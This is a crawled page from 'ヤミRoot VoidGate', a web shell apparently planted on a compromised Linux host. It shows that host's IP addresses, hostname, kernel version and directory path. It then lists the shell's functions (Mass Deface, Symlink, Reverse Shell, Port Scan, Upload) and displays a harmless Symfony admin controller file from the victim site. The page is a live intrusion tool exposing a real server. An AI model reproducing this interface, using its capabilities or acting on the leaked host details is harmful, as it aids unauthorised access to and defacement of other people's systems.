ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Admin
/
Viewing: BuildingOptionCrudController.php
<?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\BuildingOption; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class BuildingOptionCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return BuildingOption::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new BuildingOption(); return $entity; } }
Coded With 💗 by
0x6ick